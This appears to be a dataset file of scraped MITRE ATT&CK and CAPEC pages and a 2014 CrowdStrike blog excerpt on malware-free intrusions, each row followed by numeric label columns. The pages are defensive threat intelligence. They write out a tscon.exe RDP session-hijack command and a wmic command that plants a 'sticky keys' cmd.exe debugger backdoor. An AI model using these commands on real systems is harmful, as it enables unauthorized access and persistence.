April 15, 2019. Folt\xc3\xbdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018. Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019. Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018. Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks [Blog]. Retrieved November 12, 2014. Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018. Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"CAPEC - CAPEC-572: Artificially Inflate File Sizes (Version 3.1) Common Attack Pattern Enumeration and Classification A Community Resource for Identifying and Understanding Attacks Home > CAPEC List > CAPEC-572: Artificially Inflate File Sizes (Version 3.1) \xc2 ID Lookup: Home About Overview Documents Use Cases Resources Glossary FAQs CAPEC List Latest Version Downloads Reports Archive Community Community Citations Vendor Usage Discussion List Related Activities News Current News Free Newsletter CAPEC on Twitter CAPEC on News Archive Search CAPEC-572: Artificially Inflate File Sizes Attack Pattern ID: 572 Abstraction: Detailed Status: Draft Presentation Filter: Basic Complete Description Security tools often inspect executables to determine if they are malicious. Adversaries may add data to executables to increase the executable size beyond what security tools are capable of handling. Adding data to an executable also changes the file's hash, frustrating security tools that look for known bad files by their hash. Relationships The table(s) below shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore. Nature Type ID Name ChildOf Meta Attack Pattern - A meta level attack pattern in CAPEC is a decidedly abstract characterization of a specific methodology or technique used in an attack. A meta attack pattern is often void of a specific technology or implementation and is meant to provide an understanding of a high level approach. A meta level attack pattern is a generalization of related group of standard level attack patterns. Meta level attack patterns are particularly useful for architecture and design level threat modeling exercises. 148 Content Spoofing Taxonomy Mappings Relevant to the ATT&CK taxonomy mapping Entry ID Entry Name 1009 Binary padding Content History Submissions Submission Date Submitter Organization 2015-11-09 CAPEC Content Team The MITRE Corporation Modifications Modification Date Modifier Organization 2019-04-04 CAPEC Content Team The MITRE Corporation Updated Related_Attack_Patterns More information is available \xe2\x80\x94 Please select a different filter. Page Last Updated or Reviewed: July 31, 2018 \xc2 Use of the Common Attack Pattern Enumeration and Classification dictionary and classification taxonomy, and the associated references from this website, are subject to the Terms of Use. For more information, please email capec@mitre.org. CAPEC is sponsored by the U.S. Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA). Copyright \xc2\xa9 2007 - 2019, The MITRE Corporation. CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Privacy policy Terms of use Site Map Contact us \xc2","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Remote Desktop Protocol - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Remote Desktop Protocol Remote Desktop Protocol Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). [1] There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS. Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. [2] Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. [3] This can be done remotely or locally and with active or disconnected sessions. [4] It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. [5] ID:\xc2 T1076 Tactic: Lateral Movement Platform:\xc2 Windows System Requirements:\xc2 RDP service enabled, account in the Remote Desktop Users group. Permissions Required:\xc2 Remote Desktop Users, User Data Sources:\xc2 Authentication logs, Netflow/Enclave netflow, Process monitoring CAPEC ID: CAPEC-555 Contributors:\xc2 Matthew Demaske, Adaptforward Version:\xc2 1.0 Mitigations Mitigation Description Audit Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups Disable or Remove Feature or Program Disable the RDP service if it is unnecessary. Limit Access to Resource Over Network Use remote desktop gateways. Multi-factor Authentication Use multi-factor authentication for remote logins. [7] Network Segmentation Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network. Operating System Configuration Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. [6] Privileged Account Management Consider removing the local Administrators group from the list of groups allowed to log in through RDP. User Account Management Limit remote user permissions if remote access is necessary. Examples Name Description APT1 The APT1 group is known to have used RDP during operations. [23] APT3 APT3 enables the Remote Desktop Protocol for persistence. [22] APT39 APT39 has been seen using RDP for lateral movement and persistence. [39] Axiom The Axiom group is known to have used RDP during operations. [37] Carbanak Carbanak enables concurrent Remote Desktop Protocol (RDP). [15] Cobalt Group Cobalt Group has used Remote Desktop Protocol to conduct lateral movement. [21] Cobalt Strike Cobalt Strike can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel. [12] DarkComet DarkComet can open an active screen of the victim\xe2\x80\x99s machine and take control of the mouse and keyboard. [14] Dragonfly 2.0 Dragonfly 2.0 moved laterally via RDP. [33] [34] FIN10 FIN10 has used RDP to move laterally to systems in the victim environment. [35] FIN6 FIN6 used RDP to move laterally in victim networks. [24] [25] FIN8 FIN8 has used RDP for. [30] jRAT jRAT can support RDP control. [17] Koadic Koadic can enable remote desktop on the victim's machine. [10] Lazarus Group Lazarus Group malware SierraCharlie uses RDP for propagation. [26] [27] Leviathan Leviathan has targeted RDP credentials and used it to move through the victim environment. [40] menuPass menuPass has used RDP connections to move across the victim network. [31] [32] njRAT njRAT has a module for performing remote desktop access. [20] OilRig OilRig has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment. [28] [29] Patchwork Patchwork attempted to use RDP to move laterally. [36] Pupy Pupy can enable/disable RDP connection and can start a remote desktop session using a browser web socket client. [11] QuasarRAT QuasarRAT has a module for performing remote desktop access. [8] [9] Revenge RAT Revenge RAT has a plugin to perform RDP access. [18] ServHelper ServHelper has commands for adding a remote desktop user and sending RDP traffic to the attacker through a reverse SSH tunnel. [19] Stolen Pencil Stolen Pencil utilized RDP for direct remote point-and-click access. [38] TEMP.Veles TEMP.Veles utilized RDP throughout an operation. [41] WannaCry WannaCry enumerates current remote desktop sessions and tries to execute the malware on each session. [16] zwShell zwShell has used RDP for lateral movement. [13] Detection Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking. References Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016. Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014. Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017. Beaumont, K. (2017, March 19). RDP hijacking\xe2\x80\x8a\xe2\x80\x94\xe2\x80\x8ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017. NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017. Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017. Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014. MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018. Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018. Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018. Nicolas Verdier. (n.d.). Retrieved January 29, 2018. Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017. McAfee\xc2\xae Foundstone\xc2\xae Professional Services and McAfee Labs\xe2\x84\xa2. (2011, February 10). Global Energy Cyberattacks: \xe2\x80\x9cNight Dragon\xe2\x80\x9d. Retrieved February 19, 2018. Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018. Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018. Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019. Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019. Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019. Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019. Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: ""njRAT"" Uncovered. Retrieved June 4, 2019. Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018. valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017. FireEye Labs. (2014, May 20). The PLA and the 8:00am-5:00pm Work Day: FireEye Confirms DOJ\xe2\x80\x99s Findings on APT1 Intrusion Activity. Retrieved November 4, 2014. FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016. McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016. Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017. Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018. PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017. United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019. US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017. FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017. Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016. Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014. ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019. Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019. Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019. Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"CAPEC - CAPEC-555: Remote Services with Stolen Credentials (Version 3.1) Common Attack Pattern Enumeration and Classification A Community Resource for Identifying and Understanding Attacks Home > CAPEC List > CAPEC-555: Remote Services with Stolen Credentials (Version 3.1) \xc2 ID Lookup: Home About Overview Documents Use Cases Resources Glossary FAQs CAPEC List Latest Version Downloads Reports Archive Community Community Citations Vendor Usage Discussion List Related Activities News Current News Free Newsletter CAPEC on Twitter CAPEC on News Archive Search CAPEC-555: Remote Services with Stolen Credentials Attack Pattern ID: 555 Abstraction: Detailed Status: Stable Presentation Filter: Basic Complete Description This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed. Typical Severity Very High Relationships The table(s) below shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore. Nature Type ID Name ChildOf Standard Attack Pattern - A standard level attack pattern in CAPEC is focused on a specific methodology or technique used in an attack. It is often seen as a singular piece of a fully executed attack. A standard attack pattern is meant to provide sufficient details to understand the specific technique and how it attempts to accomplish a desired goal. A standard level attack pattern is a specific type of a more abstract meta level attack pattern. 560 Use of Known Domain Credentials Mitigations Disable RDP, telnet, SSH and enable firewall rules to block such traffic. Limit users and accounts that have remote interactive login access. Remove the Local Administrators group from the list of groups allowed to login through RDP. Limit remote user permissions. Use remote desktop gateways and multifactor authentication for remote logins. Example Instances Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS. Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). It may be called with the winrm command or by any number of programs such as PowerShell. Related Weaknesses A Related Weakness relationship associates a weakness with this attack pattern. Each association implies a weakness that must exist for a given attack to be successful. If multiple weaknesses are associated with the attack pattern, then any of the weaknesses (but not necessarily all) may be present for the attack to be successful. Each related weakness is identified by a CWE identifier. CWE-ID Weakness Name 522 Insufficiently Protected Credentials Taxonomy Mappings Relevant to the ATT&CK taxonomy mapping Entry ID Entry Name 1076 Remote Desktop Protocol 1021 Remote Services 1133 External Remote Services 1028 Windows Remote Management Content History Submissions Submission Date Submitter Organization 2015-11-09 CAPEC Content Team The MITRE Corporation Modifications Modification Date Modifier Organization 2018-07-31 CAPEC Content Team The MITRE Corporation Updated Description Summary, Examples-Instances, References, Related_Weaknesses, Typical_Severity More information is available \xe2\x80\x94 Please select a different filter. Page Last Updated or Reviewed: July 31, 2018 \xc2 Use of the Common Attack Pattern Enumeration and Classification dictionary and classification taxonomy, and the associated references from this website, are subject to the Terms of Use. For more information, please email capec@mitre.org. CAPEC is sponsored by the U.S. Department of Homeland Security (DHS) Cybersecurity and Infrastructure Security Agency (CISA). Copyright \xc2\xa9 2007 - 2019, The MITRE Corporation. CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Privacy policy Terms of use Site Map Contact us \xc2","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"BLOG Malware-Free Intrusions: Adversary Tricks and CrowdStrike Treats October 31, 2014Dmitri AlperovitchExecutive Viewpoint Tricks&Treats \xe2\x80\x98Tis the season for trick-or-treating, so I thought it might be a good time to share some of the new tricks we\xe2\x80\x99re seeing from the land of targeted adversaries in evading existing security defenses and penetrating networks. One of the key consistent trends that has been observed this year is a move on the part of the more advanced actors to a technique I call \xe2\x80\x9cmalware-free intrusion.\xe2\x80\x9d The idea behind it is very simple \xe2\x80\x94 malware, even if it\xe2\x80\x99s unknown to AV, is still very noisy. You have unknown and previously unseen binaries running in your environment; they\xe2\x80\x99re making file and registry changes to your system; calling out to the network \xe2\x80\x94 all things that can be observed and trigger eventual suspicion on the part of a proactive SOC analyst or incident responder. So if you\xe2\x80\x99re an attacker who\xe2\x80\x99s trying to stay undetected for as long as possible, what do you do? The obvious answer is that you break in without using malware and emulate legitimate insiders. Insider detection has always been one of the hardest problems to solve in cybersecurity because the attacker by definition looks like someone who is supposed to be inside your network and doing things that are largely legitimate and expected. Thus, if the adversaries can emulate this behavior, they achieve their nirvana of stealthiness. In the last year, we have seen a number of different Chinese nation-state affiliated actors (we track them under cryptonym of\xe2\x80\x9cPanda\xe2\x80\x9d), such as DEEP PANDA and HURRICANE PANDA, leverage the following interesting tradecraft. Malware-free Intrusion Tradecraft The intrusion begins with a compromise of an external-facing web server, often a Windows IIS server. Such compromise can be achieved via SQL injection, WebDAV exploit, or, as we\xe2\x80\x99ve seen recently from DEEP PANDA in attacks against Linux web servers, the use of the recently discovered bash vulnerability (ShellShock). That allows actors to install a webshell on the server, with China Chopper being the most common tool of choice. The reason it\xe2\x80\x99s so popular is that it is almost beautiful in its simplicity. The webshell is simply a tiny text file (often as little as 24 bytes in size) that consists of little more than an \xe2\x80\x9ceval()\xe2\x80\x9d, which allows the attacker to execute processes on the web server. That script can be trivially obfuscated to evade signature and IOC scanning technologies. China Chopper WebShell Controller On the attacker\xe2\x80\x99s side, they run a controller application (screenshot showed above), which allows them to upload/download files and get access to a virtual terminal to execute commands. Through that webshell, the adversary then uploads a credential theft tool to steal Windows passwords and hashes, and occasionally, even Kerberos Golden Tickets that can give an adversary persistent access to the network for a decade! (Technically, one would call a tool like that malware, but usually traditional anti-malware defenses will not catch it, as there are numerous repackaged/rewritten versions of these credential theft tools that will escape all signature and IOC-based detections) Once credentials are acquired, the adversary will move laterally using WMI commands or RDP sessions, just like a Windows administrator might do, and use scheduled tasks with powershell scripts to maintain persistence. Frequently, we also see the use of the \xe2\x80\x9csticky keys\xe2\x80\x9d trick for maintaining malware-free persistence on a victim network. With such trick, the adversary will modify the registry on a remote machine (typically using WMI) to set \xe2\x80\x9ccmd.exe\xe2\x80\x9d as a Debugger for tools like sethc.exe (Sticky Keys) and osk.exe (On-screen keyboard). Once that\xe2\x80\x99s done, an attacker can RDP into that machine and press the Sticky Keys or On-Screen Keyboard hotkeys and instantly get a command prompt running with System-level privileges without even requiring a login into the remote server. Thus, even if passwords are reset across the victim environment, the adversary may still maintain persistent access unless all the registry entries are cleaned up. Example command: wmic /user: /password: /node: process call create \xe2\x80\x9cC:\\Windows\\system32\\reg.exe add \\\xe2\x80\x9dHKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\osk.exe\\\xe2\x80\x9d /v \\\xe2\x80\x9dDebugger\\\xe2\x80\x9d /t REG_SZ /d \\\xe2\x80\x9dcmd.exe\\\xe2\x80\x9d /f\xe2\x80\x9d On Screen Keyboard triggered from Windows Logon prompt On Screen Keyboard triggered from Windows Logon prompt Command Prompt running with SYSTEM privileges Command Prompt running with SYSTEM privileges Lastly, they will use standard FTP commands to exfiltrate the data out of the environment onto their C2 server, making sure to encrypt it beforehand (usually with RAR archiver) so as to evade network DLP solutions that may look for confidential content leaving the network. Here is an example of one such attack we detected via our Falcon Host next-generation endpoint technology at a customer (the specific usernames/machine names have been replaced to protect confidentiality): Attack Process Tree from Falcon Host Attack Process Tree from Falcon Host As you can see from the full Falcon Host process tree, after initial reconnaissance (whoami/systeminfo/quser), the adversary uploaded and executed a custom-repacked version of Windows Credential Editor. Next, they proceeded to use WMI to edit remote registries for the \xe2\x80\x9csticky keys\xe2\x80\x9d persistence trick and, afterward, copied files from remote shares via \xe2\x80\x9cnet use,\xe2\x80\x9d and finally used RAR to encrypt and compress the exfil data and steal it out of the network (this time, simply downloading it through the webshell). So as you are thinking about next-generation security architecture, start thinking and asking your vendors about how they would detect such adversary tricks and the use of malware-free intrusions. \xe2\x80\x94- And now, here\xe2\x80\x99s a treat for you \xe2\x80\x93 not only does CrowdStrike track and identify adversaries, but we also like to represent them via visual characters. Download these desktop backgrounds to remind you that the adversaries are always watching and trying to trick you into letting them inside! PutterPanda Desktop Background 1: 1024 x 768 | 1280 x 1024 | 1440 x 900 | 1920 x 1200 Putter Panda is tracked as a likely part of the 12th Bureau, 3rd GSD of the PLA (Unit 61486). It conducts significant targeting of entities in the space, aerospace, and communications sectors. Adversaries Desktop Background 2: 1024 x 768 | 1280 x 1024 | 1440 x 900 | 1920 x 1200 A representation of some of the most popular 